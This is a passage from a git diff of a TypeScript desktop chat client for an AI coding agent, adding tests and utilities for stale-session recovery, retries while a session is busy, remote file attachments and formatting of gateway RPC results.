+    expect(imageFilenameFromPath('C:\\a\\b\\d.jpg')).toBe('d.jpg')
+  })
+
+  it('defaults when the path is empty', () => {
+    expect(imageFilenameFromPath('')).toBe('image.png')
+  })
+})
+
+describe('friendlyRemoteAttachError', () => {
+  it('rewrites a too-large error with the parsed cap', () => {
+    const err = friendlyRemoteAttachError(new Error('file is too large (20 bytes; limit 16777216 bytes)'), 'pic.png')
+    expect(err.message).toBe('pic.png is too large to upload to the remote gateway (max 16 MB).')
+  })
+
+  it('passes non-cap errors through', () => {
+    const original = new Error('something else')
+    expect(friendlyRemoteAttachError(original, 'pic.png')).toBe(original)
+  })
+})
+
+describe('readFileDataUrlForAttach', () => {
+  it('prefers the attachment-specific desktop reader over the preview reader', async () => {
+    const previewReader = vi.fn(async () => 'preview')
+    const attachmentReader = vi.fn(async () => 'data:application/zip;base64,UEs=')
+    Object.defineProperty(window, 'clawcodexDesktop', {
+      configurable: true,
+      value: { readFileDataUrl: previewReader, readFileDataUrlForAttach: attachmentReader }
+    })
+
+    await expect(readFileDataUrlForAttach('/tmp/archive.zip')).resolves.toBe('data:application/zip;base64,UEs=')
+    expect(attachmentReader).toHaveBeenCalledWith('/tmp/archive.zip')
+    expect(previewReader).not.toHaveBeenCalled()
+  })
+
+  it('falls back to the preview reader on older shells', async () => {
+    const previewReader = vi.fn(async () => 'data:text/plain;base64,YQ==')
+    Object.defineProperty(window, 'clawcodexDesktop', {
+      configurable: true,
+      value: { readFileDataUrl: previewReader }
+    })
+
+    await expect(readFileDataUrlForAttach('/tmp/note.txt')).resolves.toBe('data:text/plain;base64,YQ==')
+    expect(previewReader).toHaveBeenCalledWith('/tmp/note.txt')
+  })
+})
+
+describe('slashStatusText', () => {
+  it('joins command and trimmed output', () => {
+    expect(slashStatusText('/model', '  gpt  ')).toBe('slash:/model\ngpt')
+  })
+
+  it('omits empty output', () => {
+    expect(slashStatusText('/clear', '   ')).toBe('slash:/clear')
+  })
+})
+
+describe('appendText', () => {
+  it('concatenates text parts and trims', () => {
+    const message = {
+      content: [
+        { type: 'text', text: ' a' },
+        { type: 'text', text: 'b ' }
+      ]
+    } as unknown as AppendMessage
+
+    expect(appendText(message)).toBe('ab')
+  })
+})
+
+describe('visible user ordinals', () => {
+  const messages = [
+    { role: 'user', hidden: false },
+    { role: 'assistant' },
+    { role: 'user', hidden: true },
+    { role: 'user', hidden: false }
+  ] as ChatMessage[]
+
+  it('counts visible user messages before an index', () => {
+    expect(visibleUserOrdinal(messages, messages.length)).toBe(2)
+  })
+
+  it('maps an ordinal back to a message index, skipping hidden', () => {
+    expect(visibleUserIndexAtOrdinal(messages, 1)).toBe(3)
+    expect(visibleUserIndexAtOrdinal(messages, 5)).toBe(-1)
+  })
+})
+
+describe('renderRpcResult', () => {
+  describe('session.compress (summary shape)', () => {
+    it('renders the summary headline with token line and note', () => {
+      expect(
+        renderRpcResult(
+          {
+            summary: {
+              headline: 'Compressed: 280 → 120 messages',
+              token_line: 'Approx request size: ~126,575 → ~30,000 tokens',
+              note: 'Removed 8 older turns',
+              noop: false
+            }
+          },
+          'compress'
+        )
+      ).toBe(
+        [
+          '✓ Compressed: 280 → 120 messages',
+          '  Approx request size: ~126,575 → ~30,000 tokens',
+          '  Removed 8 older turns'
+        ].join('\n')
+      )
+    })
+
+    it('drops the checkmark when the summary is a noop', () => {
+      expect(
+        renderRpcResult(
+          { summary: { headline: 'Already compressed', note: 'No new turns since last compress', noop: true } },
+          'compress'
+        )
+      ).toBe('Already compressed\n  No new turns since last compress')
+    })
+  })
+
+  describe('session.steer', () => {
+    it('reports a queued steer with the original text', () => {
+      expect(renderRpcResult({ status: 'queued', text: 'skip the docs' }, 'steer')).toBe(
+        'Steered · "skip the docs" queued for next tool call'
+      )
+    })
+
+    it('reports a rejected steer without echoing user text', () => {
+      expect(renderRpcResult({ status: 'rejected', text: 'whatever' }, 'steer')).toBe(
+        'Steer rejected — agent declined input'
+      )
+    })
+  })
+
+  describe('process.stop', () => {
+    it('reports the numeric number of stopped processes', () => {
+      expect(renderRpcResult({ killed: 2 }, 'stop')).toBe('Stopped 2 background processes.')
+    })
+
+    it('reports nothing-to-stop when the numeric count is zero', () => {
+      expect(renderRpcResult({ killed: 0 }, 'stop')).toBe('No background processes to stop.')
+    })
+  })
+
+  describe('session.save', () => {
+    it('echoes the saved file path', () => {
+      expect(renderRpcResult({ file: '/home/user/.clawcodex/sessions/saved/x.json' }, 'save')).toBe(
+        'Saved transcript to /home/user/.clawcodex/sessions/saved/x.json'
+      )
+    })
+  })
+
+  describe('session.status', () => {
+    it('passes through the multi-line plain-text output verbatim', () => {
+      const output = 'ClawCodex TUI Status\n\nSession ID: s-1\nModel: nous-clawcodex-3 (unknown)'
+      expect(renderRpcResult({ output }, 'status')).toBe(output)
+    })
+  })
+
+  describe('session.usage', () => {
+    it('formats calls / input / output / total with thousands separators', () => {
+      expect(renderRpcResult({ calls: 12, input: 1_234_567, output: 89_012, total: 1_323_579 }, 'usage')).toBe(
+        'Usage: 12 calls · 1,234,567 in / 89,012 out · 1,323,579 total'
+      )
+    })
+
+    it('appends credits_lines when present', () => {
+      const body = renderRpcResult(
+        {
+          calls: 1,
+          input: 10,
+          output: 20,
+          total: 30,
+          credits_lines: ['Nous credits: 8,420 remaining', 'Resets: 2026-08-01']
+        },
+        'usage'
+      )
+
+      expect(body.split('\n')).toEqual([
+        'Usage: 1 calls · 10 in / 20 out · 30 total',
+        'Nous credits: 8,420 remaining',
+        'Resets: 2026-08-01'
+      ])
+    })
+  })
+
+  describe('agents.list', () => {
+    it('reports no running tasks when the array is empty', () => {
+      expect(renderRpcResult({ processes: [] }, 'agents')).toBe('No background tasks running.')
+    })
+
+    it('formats each process with status, command, and metadata', () => {
+      expect(
+        renderRpcResult(
+          {
+            processes: [
+              { session_id: 's-1', command: 'npm test', status: 'running', uptime: 42 },
+              { session_id: 's-2', command: 'vitest', status: 'completed' }
+            ]
+          },
+          'agents'
+        )
+      ).toBe(['• [running] npm test (42s · s-1)', '• [completed] vitest (s-2)'].join('\n'))
+    })
+  })
+
+  describe('fallback', () => {
+    it('serialises unknown shapes as JSON so we never lose data', () => {
+      expect(renderRpcResult({ custom: 'value', nested: { a: 1 } }, 'mystery')).toBe(
+        '/mystery: {"custom":"value","nested":{"a":1}}'
+      )
+    })
+
+    it('returns an empty string for null and primitive payloads', () => {
+      expect(renderRpcResult(null, 'x')).toBe('')
+      expect(renderRpcResult(undefined, 'x')).toBe('')
+      expect(renderRpcResult('plain string', 'x')).toBe('')
+      expect(renderRpcResult(42, 'x')).toBe('')
+    })
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-prompt-actions/utils.ts b/ui-desktop/src/app/session/hooks/use-prompt-actions/utils.ts
new file mode 100644
index 000000000..5f87b4af4
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-prompt-actions/utils.ts
@@ -0,0 +1,545 @@
+import type { AppendMessage } from '@assistant-ui/react'
+
+import { translateNow, type Translations } from '@/i18n'
+import type { ChatMessage } from '@/lib/chat-messages'
+import { type CommandsCatalogLike, filterDesktopCommandsCatalog } from '@/lib/desktop-slash-commands'
+import { isProviderSetupErrorMessage } from '@/lib/provider-setup-errors'
+import type { ComposerAttachment } from '@/store/composer'
+
+export type GatewayRequest = <T>(method: string, params?: Record<string, unknown>, timeoutMs?: number) => Promise<T>
+
+export function delay(ms: number): Promise<void> {
+  return new Promise(resolve => setTimeout(resolve, ms))
+}
+
+export function isSessionIdCandidate(value: string): boolean {
+  const trimmed = value.trim()
+
+  return /^\d{8}_\d{6}_[A-Fa-f0-9]{6}$/.test(trimmed) || /^[A-Fa-f0-9]{32}$/.test(trimmed)
+}
+
+export function blobToDataUrl(blob: Blob): Promise<string> {
+  return new Promise((resolve, reject) => {
+    const reader = new FileReader()
+
+    reader.addEventListener('load', () => {
+      if (typeof reader.result === 'string') {
+        resolve(reader.result)
+      } else {
+        reject(new Error(translateNow('desktop.audioReadFailed')))
+      }
+    })
+    reader.addEventListener('error', () => reject(reader.error || new Error(translateNow('desktop.audioReadFailed'))))
+    reader.readAsDataURL(blob)
+  })
+}
+
+export function isProviderSetupError(error: unknown) {
+  const message = error instanceof Error ? error.message : String(error)
+
+  return isProviderSetupErrorMessage(message)
+}
+
+export function inlineErrorMessage(error: unknown, fallback: string): string {
+  const raw = error instanceof Error ? error.message : typeof error === 'string' ? error : fallback
+
+  return (raw.match(/Error invoking remote method '[^']+': Error: (.+)$/)?.[1] ?? raw).replace(/^Error:\s*/, '').trim()
+}
+
+export function isSessionNotFoundError(error: unknown): boolean {
+  const message = error instanceof Error ? error.message : String(error)
+
+  return /session not found/i.test(message)
+}
+
+/**
+ * Thrown when a stale-session recovery resumed successfully but the caller's
+ * drift check says the user has since moved on (profile swap, route rebind,
+ * a different chat in the foreground). The retry is deliberately NOT attempted:
+ * landing it would run the prompt against a session the user is no longer
+ * looking at. Callers unwind through their own abort path (#66889).
+ */
+export class SessionRecoveryAborted extends Error {
+  constructor(
+    readonly reason: string,
+    readonly recoveredSessionId: string
+  ) {
+    super(`session recovery aborted: ${reason}`)
+    this.name = 'SessionRecoveryAborted'
+  }
+}
+
+export interface SessionRecoveryDeps {
+  requestGateway: GatewayRequest
+  /**
+   * Owning profile for a stored session. A resume without it lands on
+   * whichever gateway is active and forks the conversation into the wrong
+   * profile's DB (#67603).
+   *
+   * Injected rather than imported so this module stays free of the session
+   * store and the REST layer: the default implementation reaches through
+   * `resolveStoredSession` → `getSession()`, a real fetch that makes any unit
+   * test of this helper depend on leftover `$sessions` / `$profiles` state.
+   */
+  resolveProfile?: (storedSessionId: string) => Promise<string | undefined>
+  /**
+   * Publish the fresh live id. Implementations must update BOTH the hot ref
+   * and the `$activeSessionId` atom — a ref-only write leaves the atom
+   * pointing at the dead runtime and every atom-reading surface desyncs
+   * (#62471).
+   */
+  onRecovered?: (liveSessionId: string) => void
+  /**
+   * Non-null reason ⇒ abort instead of retrying. Evaluated AFTER the resume
+   * and BEFORE the retry, because the resume is the slow await during which a
+   * profile switch or route rebind can land.
+   */
+  driftReason?: () => null | string
+}
+
+async function defaultResolveProfile(storedSessionId: string): Promise<string | undefined> {
+  // Lazy so utils.ts has no init-time cycle with use-session-actions.
+  const { resolveSessionProfile } = await import('../use-session-actions/utils')
+
+  return resolveSessionProfile(storedSessionId)
+}
+
+/**
+ * Re-register a durable stored session after the gateway dropped its
+ * in-memory runtime id (sleep/wake, remote backend restart, long idle).
+ * Returns the fresh live id, or null when the resume yields none.
+ */
+export async function resumeStoredRuntimeSession(
+  storedSessionId: string,
+  deps: SessionRecoveryDeps
+): Promise<null | string> {
+  const resolveProfile = deps.resolveProfile ?? defaultResolveProfile
+  const profile = await resolveProfile(storedSessionId)
+
+  const resumed = await deps.requestGateway<{ session_id: string }>('session.resume', {
+    session_id: storedSessionId,
+    source: 'desktop',
+    omit_messages: true,
+    ...(profile ? { profile } : {})
+  })
+
+  return resumed?.session_id ?? null
+}
+
+/**
+ * Single resolver for "the runtime session id I hold is dead."
+ *
+ * Every session-scoped RPC needs this, not just `prompt.submit`. Attach,
+ * `/compress`, checkpoint restore, and interrupt all run against the same
+ * runtime id and all used to surface a raw "session not found" after sleep —
+ * while plain text silently recovered, which is why the bug reads as "text
+ * works, images don't."
+ *
+ * Runs `call(sessionId)`. On a stale-session error it resumes the stored
+ * session ONCE, republishes the fresh id, and retries. Bounded to a single
+ * retry: a second failure is a real error, not a stale binding.
+ *
+ * A resume that itself 404s (a never-persisted first-submit draft has no DB
+ * row until its first successful submit) rethrows the ORIGINAL error rather
+ * than the confusing secondary one (#67539).
+ */
+export async function withSessionNotFoundResume<T>(
+  sessionId: string,
+  storedSessionId: null | string | undefined,
+  call: (liveSessionId: string) => Promise<T>,
+  deps: SessionRecoveryDeps,
+  options?: { alsoTimeout?: boolean }
+): Promise<{ recovered: boolean; result: T; sessionId: string }> {
+  try {
+    return { recovered: false, result: await call(sessionId), sessionId }
+  } catch (err) {
+    // A starved backend loop rejects with a timeout that is indistinguishable
+    // from a dead runtime on the client side (#55578). Opt-in per caller:
+    // submit recovers from it, a compress/attach retry should not mask a
+    // genuinely slow LLM-bound call.
+    const recoverable = isSessionNotFoundError(err) || (Boolean(options?.alsoTimeout) && isGatewayTimeoutError(err))
+
+    if (!recoverable || !storedSessionId) {
+      throw err
+    }
+
+    let recoveredId: null | string
+
+    try {
+      recoveredId = await resumeStoredRuntimeSession(storedSessionId, deps)
+    } catch {
+      throw err
+    }
+
+    if (!recoveredId) {
+      throw err
+    }
+
+    const drift = deps.driftReason?.()
+
+    if (drift) {
+      throw new SessionRecoveryAborted(drift, recoveredId)
+    }
+
+    deps.onRecovered?.(recoveredId)
+
+    return { recovered: true, result: await call(recoveredId), sessionId: recoveredId }
+  }
+}
+
+/**
+ * Is the session a prompt is about to run against currently mid-turn?
+ *
+ * The foreground `busyRef` is NOT the answer. It mirrors whatever chat is on
+ * screen, while submit and slash both resolve their target through
+ * `resolveTargetSessionId` — routinely a different session (a tile, a route
+ * rebind, a session created by this very call). Reading the foreground flag
+ * therefore gates one session's send on another session's turn: a stale
+ * foreground `true` (a warm resume of a still-running chat leaves one behind)
+ * blocks an IDLE target and reports "session busy" about a session doing
+ * nothing, and the converse lets a background send fire mid-turn.
+ *
+ * The published per-session state is authoritative. Fall back to the
+ * foreground flag only when the target has no state yet — a just-minted
+ * session whose first publish hasn't landed.
+ */
+export function isTargetSessionBusy(
+  sessionStates: Record<string, { busy: boolean }>,
+  sessionId: null | string,
+  foregroundBusy: boolean
+): boolean {
+  const state = sessionId ? sessionStates[sessionId] : undefined
+
+  return state ? state.busy : foregroundBusy
+}
+
+// Gateway JSON-RPC calls reject with "request timed out: <method>" when the
+// backend event loop is starved (e.g. a poller spin or a heavy async-injected
+// turn). For prompt.submit this is indistinguishable from a dead runtime
+// session on the client side — recovery must treat it like one (#55578):
+// resume the SELECTED stored session and retry, instead of surfacing an error
+// that leads to a null activeSessionId and a silently minted new session.
+export function isGatewayTimeoutError(error: unknown): boolean {
+  const message = error instanceof Error ? error.message : String(error)
+
+  return /request timed out/i.test(message)
+}
+
+// The gateway refuses prompt.submit while a turn is running (4009 "session
+// busy"). It's a transient concurrency guard, never a user-facing error: a
+// submit racing the settle edge (or a rewind interrupting mid-turn) just waits
+// a beat for the turn to wind down, then lands. Bounded so a genuinely stuck
+// turn still surfaces eventually.
+export const SESSION_BUSY_RETRY_TIMEOUT_MS = 6_000
+export const SESSION_BUSY_RETRY_INTERVAL_MS = 150
+
+export function isSessionBusyError(error: unknown): boolean {
+  return /session busy/i.test(error instanceof Error ? error.message : String(error))
+}
+
+const sleep = (ms: number) => new Promise<void>(resolve => setTimeout(resolve, ms))
+
+// Retry a gateway call across transient "session busy" so it never reaches the
+// user — the turn settles within the deadline and the call lands.
+export async function withSessionBusyRetry<T>(call: () => Promise<T>): Promise<T> {
+  const deadline = Date.now() + SESSION_BUSY_RETRY_TIMEOUT_MS
+
+  for (;;) {
+    try {
+      return await call()
+    } catch (err) {
+      if (isSessionBusyError(err) && Date.now() < deadline) {
+        await sleep(SESSION_BUSY_RETRY_INTERVAL_MS)
+
+        continue
+      }
+
+      throw err
+    }
+  }
+}
+
+// Hard guard: at most one prompt.submit in flight per session. Every submit
+// path — user Enter, queue drain, busy-retry, slash fallthrough — funnels
+// through submitPromptText. Without this, a stalled turn (e.g. a context-bloated
+// session whose first call hangs) let the SAME prompt launch several real turns
+// at once (the "message stacked 5×" bug). Keyed by stored/active session id.
+export const _submitInFlight = new Set<string>()
+
+export function base64FromDataUrl(dataUrl: string): string {
+  const comma = dataUrl.indexOf(',')
+
+  return comma >= 0 ? dataUrl.slice(comma + 1) : ''
+}
+
+export function imageFilenameFromPath(filePath: string): string {
+  return filePath.split(/[\\/]/).filter(Boolean).pop() || 'image.png'
+}
+
+// Remote gateway: the local composer-image file lives on THIS machine's disk,
+// not the gateway's, so read the bytes here and upload them via
+// image.attach_bytes. Returns null when the file can't be read.
+export async function readImageForRemoteAttach(
+  filePath: string
+): Promise<{ contentBase64: string; filename: string } | null> {
+  const dataUrl = await window.clawcodexDesktop?.readFileDataUrl(filePath)
+  const contentBase64 = dataUrl ? base64FromDataUrl(dataUrl) : ''
+
+  return contentBase64 ? { contentBase64, filename: imageFilenameFromPath(filePath) } : null
+}
+
+// Read a non-image file as a data URL for upload via file.attach. Returns null
+// when the desktop bridge can't read the file (e.g. it was moved/deleted).
+// Prefer the attach-specific IPC (256 MiB) so remote uploads are not stuck on
+// the preview/Settings default; fall back for older Electron shells.
+export async function readFileDataUrlForAttach(filePath: string): Promise<string | null> {
+  const reader = window.clawcodexDesktop?.readFileDataUrlForAttach ?? window.clawcodexDesktop?.readFileDataUrl
+
+  if (!reader) {
+    return null
+  }
+
+  const dataUrl = await reader(filePath)
+
+  return dataUrl || null
+}
+
+// The attach/preview IPC base64-loads the whole file into memory and rejects
+// with a raw "file is too large (N bytes; limit M bytes)" string when over
+// cap. In remote mode every attachment's bytes go through that read, so a big
+// file surfaces that internal message verbatim in the failure toast. Translate
+// it into a friendly "too large to upload to the remote gateway" line, parsing
+// the limit out of the message so it tracks the real cap. Non-cap errors pass
+// through unchanged.
+export function friendlyRemoteAttachError(err: unknown, label: string): Error {
+  const message = err instanceof Error ? err.message : String(err)
+
+  if (!/too large/i.test(message)) {
+    return err instanceof Error ? err : new Error(message)
+  }
+
+  const limitBytes = Number(message.match(/limit (\d+) bytes/)?.[1])
+  const cap = Number.isFinite(limitBytes) && limitBytes > 0 ? ` (max ${Math.floor(limitBytes / (1024 * 1024))} MB)` : ''
+
+  return new Error(`${label} is too large to upload to the remote gateway${cap}.`)
+}
+
+export function renderCommandsCatalog(catalog: CommandsCatalogLike, copy: Translations['desktop']): string {
+  const desktopCatalog = filterDesktopCommandsCatalog(catalog)
+
+  const sections = desktopCatalog.categories?.length
+    ? desktopCatalog.categories
+    : [{ name: copy.desktopCommands, pairs: desktopCatalog.pairs ?? [] }]
+
+  const body = sections
+    .filter(section => section.pairs.length > 0)
+    .map(section => {
+      const rows = section.pairs.map(([cmd, desc]) => `${cmd.padEnd(18)} ${desc}`)
+
+      return [`${section.name}:`, ...rows].join('\n')
+    })
+    .join('\n\n')
+
+  const tail = [
+    desktopCatalog.skill_count ? copy.skillCommandsAvailable(desktopCatalog.skill_count) : '',
+    desktopCatalog.warning ? copy.warningLine(desktopCatalog.warning) : ''
+  ]
+    .filter(Boolean)
+    .join('\n')
+
+  return [body || 'No desktop commands available.', tail].filter(Boolean).join('\n\n')
+}
+
+export function slashStatusText(command: string, output: string): string {
+  return [`slash:${command}`, output.trim()].filter(Boolean).join('\n')
+}
+
+/**
+ * Format the JSON reply from a gateway RPC surfaced as `kind: 'rpc'` in
+ * desktop-slash-commands.ts. Kept here (instead of slash.ts) so it has no
+ * React / store dependencies and can be unit-tested in isolation.
+ *
+ * The renderer follows the field conventions shared by the gateway handlers
+ * we route to today:
+ * - `session.compress`: { summary: { headline, token_line, note, noop } }
+ *   (only used if /compress ever moves to `rpc`; it's an `action` today
+ *   because it needs transcript replacement)
+ * - `session.status`:   { output: "<multi-line plain text>" }
+ * - `session.save`:     { file: "<absolute path>" }
+ * - `session.usage`:    { calls, input, output, total, credits_lines? }
+ * - `session.steer`:    { status: 'queued' | 'rejected', text }
+ * - `process.stop`:     { killed: boolean }
+ * - `agents.list`:      { processes: [{ session_id, command, status, uptime }] }
+ *
+ * Any RPC whose response doesn't match these shapes falls through to a
+ * JSON.stringify dump so we never silently swallow data.
+ */
+export function renderRpcResult(response: unknown, name: string): string {
+  if (!response || typeof response !== 'object') {
+    return ''
+  }
+
+  const r = response as Record<string, unknown>
+
+  const summary = r.summary as { headline?: string; token_line?: string; note?: string; noop?: boolean } | undefined
+
+  if (summary && typeof summary === 'object' && typeof summary.headline === 'string' && summary.headline) {
+    const lines: string[] = [`${summary.noop ? '' : '✓ '}${summary.headline}`]
+
+    if (summary.token_line) {
+      lines.push(`  ${summary.token_line}`)
+    }
+
+    if (summary.note) {
+      lines.push(`  ${summary.note}`)
+    }
+
+    return lines.join('\n')
+  }
+
+  // session.steer — { status: 'queued' | 'rejected', text }
+  if (r.status === 'queued' || r.status === 'rejected') {
+    const text = typeof r.text === 'string' ? r.text : ''
+
+    if (r.status === 'queued') {
+      return text ? `Steered · "${text}" queued for next tool call` : 'Steered next tool call'
+    }
+
+    return 'Steer rejected — agent declined input'
+  }
+
+  // process.stop — { killed: number }
+  if ('killed' in r && typeof r.killed === 'number') {
+    return r.killed > 0
+      ? `Stopped ${r.killed} background process${r.killed === 1 ? '' : 'es'}.`
+      : 'No background processes to stop.'
+  }
+
+  // session.save — { file }
+  if (typeof r.file === 'string' && r.file) {
+    return `Saved transcript to ${r.file}`
+  }
+
+  // session.status — { output }
+  if (typeof r.output === 'string' && r.output) {
+    return r.output
+  }
+
+  // session.usage — { calls, input, output, total, credits_lines? }
+  if ('total' in r || 'input' in r || 'output' in r || 'calls' in r) {
+    const calls = Number(r.calls ?? 0)
+    const input = Number(r.input ?? 0)
+    const output = Number(r.output ?? 0)
+    const total = Number(r.total ?? 0)
+
+    const lines: string[] = [
+      `Usage: ${calls.toLocaleString()} calls · ${input.toLocaleString()} in / ${output.toLocaleString()} out · ${total.toLocaleString()} total`
+    ]
+
+    if (Array.isArray(r.credits_lines)) {
+      for (const credit of r.credits_lines) {
+        if (typeof credit === 'string' && credit.trim()) {
+          lines.push(credit.trim())
+        }
+      }
+    }
+
+    return lines.join('\n')
+  }
+
+  // agents.list — { processes: [{ session_id, command, status, uptime }] }
+  if (Array.isArray(r.processes)) {
+    if (r.processes.length === 0) {
+      return 'No background tasks running.'
+    }
+
+    return r.processes
+      .map(p => {
+        if (!p || typeof p !== 'object') {
+          return ''
+        }
+
+        const proc = p as Record<string, unknown>
+        const status = typeof proc.status === 'string' ? proc.status : 'unknown'
+        const command = typeof proc.command === 'string' ? proc.command : ''
+        const sessionId = typeof proc.session_id === 'string' ? proc.session_id : ''
+        const uptime = proc.uptime
+
+        const meta: string[] = []
+
+        if (typeof uptime === 'number' && uptime >= 0) {
+          meta.push(`${uptime}s`)
+        }
+
+        if (sessionId) {
+          meta.push(sessionId)
+        }
+
+        const tail = meta.length ? ` (${meta.join(' · ')})` : ''
+
+        return `• [${status}] ${command}${tail}`
+      })
+      .filter(Boolean)
+      .join('\n')
+  }
+
+  // Generic fallback — keeps us honest if the gateway adds new fields we
+  // haven't shaped yet.
+  return `/${name}: ${JSON.stringify(r)}`
+}
+
+export function appendText(message: AppendMessage): string {
+  return message.content
+    .map(part => ('text' in part ? part.text : ''))
+    .join('')
+    .trim()
+}
+
+export function visibleUserOrdinal(messages: readonly ChatMessage[], end: number): number {
+  return messages.slice(0, end).filter(m => m.role === 'user' && !m.hidden).length
+}
+
+export function visibleUserIndexAtOrdinal(messages: readonly ChatMessage[], targetOrdinal: number): number {
+  let ordinal = 0
+
+  for (let index = 0; index < messages.length; index += 1) {
+    const message = messages[index]
+
+    if (message.role !== 'user' || message.hidden) {
+      continue
+    }
+
+    if (ordinal === targetOrdinal) {
+      return index
+    }
+
+    ordinal += 1
+  }
+
+  return -1
+}
+
+export interface SubmitTextOptions {
+  attachments?: ComposerAttachment[]
+  /** The composer scope key that was actually loaded when this text was
+   *  submitted (see use-composer-draft's activeQueueSessionKeyRef). Compared
+   *  against the resolved submit target in sessionContextDrift — a mismatch
+   *  means the composer and the session-side refs disagreed about which
+   *  session this send belongs to (#59305). Omit for non-composer submits
+   *  (queue drain, steer, external submit requests): the check is a no-op
+   *  without it. */
+  composerScope?: string | null
+  /** What the transcript shows for this send, when it differs from the text
+   *  the agent receives. A `/skill` invocation expands into the whole skill
+   *  body — model-facing scaffolding the UI must never render — so the slash
+   *  dispatcher passes the invocation (`/work fix the leak`) here. */
+  displayText?: string
+  fromQueue?: boolean
+  /** Runtime session id to submit into. Queue drains pass this so a
+   *  backgrounded/source session cannot be replaced by the current foreground
+   *  session between enqueue and drain. */
+  sessionId?: string | null
+  /** Stable stored session id for optimistic/cache updates and stale-runtime
+   *  recovery. Distinct from the runtime session id minted by the gateway. */
+  storedSessionId?: string | null
+}
diff --git a/ui-desktop/src/app/session/hooks/use-route-resume.test.tsx b/ui-desktop/src/app/session/hooks/use-route-resume.test.tsx
new file mode 100644
index 000000000..750e20e8a
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-route-resume.test.tsx
@@ -0,0 +1,519 @@
+import { cleanup, render } from '@testing-library/react'
+import type { MutableRefObject } from 'react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { $resumeExhaustedSessionId, setResumeExhaustedSessionId } from '@/store/session'
+import { markSelectionRestore } from '@/store/session-states'
+
+import { useRouteResume } from './use-route-resume'
+
+// The hook only arms the boot-restore one-shot; the listener consuming it lives
+// in the real store (covered by session-states.test.ts). Mock the module so the
+// store's side effects (persistence listeners) stay out of this harness.
+vi.mock('@/store/session-states', () => ({ markSelectionRestore: vi.fn() }))
+
+interface HarnessProps {
+  activeSessionId: null | string
+  activeSessionIdRef: MutableRefObject<null | string>
+  creatingSessionRef: MutableRefObject<boolean>
+  currentView: string
+  freshDraftReady: boolean
+  gatewayState: string
+  locationPathname: string
+  resumeSession: (sessionId: string, focus: boolean) => Promise<unknown>
+  resumeFailedSessionId?: null | string
+  resumeExhaustedSessionId?: null | string
+  routedSessionId: null | string
+  runtimeIdByStoredSessionIdRef: MutableRefObject<Map<string, string>>
+  selectedStoredSessionId: null | string
+  selectedStoredSessionIdRef: MutableRefObject<null | string>
+  startFreshSessionDraft: (focus: boolean) => unknown
+}
+
+function RouteResumeHarness({ resumeFailedSessionId = null, resumeExhaustedSessionId = null, ...props }: HarnessProps) {
+  useRouteResume({ ...props, resumeExhaustedSessionId, resumeFailedSessionId })
+
+  return null
+}
+
+describe('useRouteResume', () => {
+  afterEach(() => {
+    cleanup()
+    vi.restoreAllMocks()
+  })
+
+  it('does not re-resume the old session during a /:sid -> /new transition', () => {
+    const resumeSession = vi.fn(async () => undefined)
+    const startFreshSessionDraft = vi.fn()
+    const activeSessionIdRef: MutableRefObject<null | string> = { current: 'runtime-1' }
+    const creatingSessionRef = { current: false }
+    const runtimeIdByStoredSessionIdRef = { current: new Map([['session-1', 'runtime-1']]) }
+    const selectedStoredSessionIdRef: MutableRefObject<null | string> = { current: 'session-1' }
+
+    const { rerender } = render(
+      <RouteResumeHarness
+        activeSessionId="runtime-1"
+        activeSessionIdRef={activeSessionIdRef}
+        creatingSessionRef={creatingSessionRef}
+        currentView="chat"
+        freshDraftReady={false}
+        gatewayState="open"
+        locationPathname="/session-1"
+        resumeSession={resumeSession}
+        routedSessionId="session-1"
+        runtimeIdByStoredSessionIdRef={runtimeIdByStoredSessionIdRef}
+        selectedStoredSessionId="session-1"
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+        startFreshSessionDraft={startFreshSessionDraft}
+      />
+    )
+
+    expect(resumeSession).not.toHaveBeenCalled()
+
+    // Simulate startFreshSessionDraft state updates landing before route update.
+    activeSessionIdRef.current = null
+    selectedStoredSessionIdRef.current = null
+    rerender(
+      <RouteResumeHarness
+        activeSessionId={null}
+        activeSessionIdRef={activeSessionIdRef}
+        creatingSessionRef={creatingSessionRef}
+        currentView="chat"
+        freshDraftReady
+        gatewayState="open"
+        locationPathname="/session-1"
+        resumeSession={resumeSession}
+        routedSessionId="session-1"
+        runtimeIdByStoredSessionIdRef={runtimeIdByStoredSessionIdRef}
+        selectedStoredSessionId={null}
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+        startFreshSessionDraft={startFreshSessionDraft}
+      />
+    )
+
+    expect(resumeSession).not.toHaveBeenCalled()
+  })
+
+  it('self-heals a stranded routed session (null selected/active, same pathname, not a fresh draft)', () => {
+    const resumeSession = vi.fn(async () => undefined)
+    const startFreshSessionDraft = vi.fn()
+    const activeSessionIdRef: MutableRefObject<null | string> = { current: 'runtime-1' }
+    const creatingSessionRef = { current: false }
+    const runtimeIdByStoredSessionIdRef = { current: new Map([['session-1', 'runtime-1']]) }
+    const selectedStoredSessionIdRef: MutableRefObject<null | string> = { current: 'session-1' }
+
+    const { rerender } = render(
+      <RouteResumeHarness
+        activeSessionId="runtime-1"
+        activeSessionIdRef={activeSessionIdRef}
+        creatingSessionRef={creatingSessionRef}
+        currentView="chat"
+        freshDraftReady={false}
+        gatewayState="open"
+        locationPathname="/session-1"
+        resumeSession={resumeSession}
+        routedSessionId="session-1"
+        runtimeIdByStoredSessionIdRef={runtimeIdByStoredSessionIdRef}
+        selectedStoredSessionId="session-1"
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+        startFreshSessionDraft={startFreshSessionDraft}
+      />
+    )
+
+    expect(resumeSession).not.toHaveBeenCalled()
+
+    // A create/stream race nulls selected/active but the route stays on the
+    // session and freshDraftReady is false (NOT a new-chat transition).
+    activeSessionIdRef.current = null
+    selectedStoredSessionIdRef.current = null
+    rerender(
+      <RouteResumeHarness
+        activeSessionId={null}
+        activeSessionIdRef={activeSessionIdRef}
+        creatingSessionRef={creatingSessionRef}
+        currentView="chat"
+        freshDraftReady={false}
+        gatewayState="open"
+        locationPathname="/session-1"
+        resumeSession={resumeSession}
+        routedSessionId="session-1"
+        runtimeIdByStoredSessionIdRef={runtimeIdByStoredSessionIdRef}
+        selectedStoredSessionId={null}
+        selectedStoredSessionIdRef={selectedStoredSessionIdRef}
+        startFreshSessionDraft={startFreshSessionDraft}
+      />
+    )
+
+    expect(resumeSession).toHaveBeenCalledTimes(1)
+    expect(resumeSession).toHaveBeenCalledWith('session-1', true)
+  })
+
+  it('resumes when pathname changes to a routed session', () => {
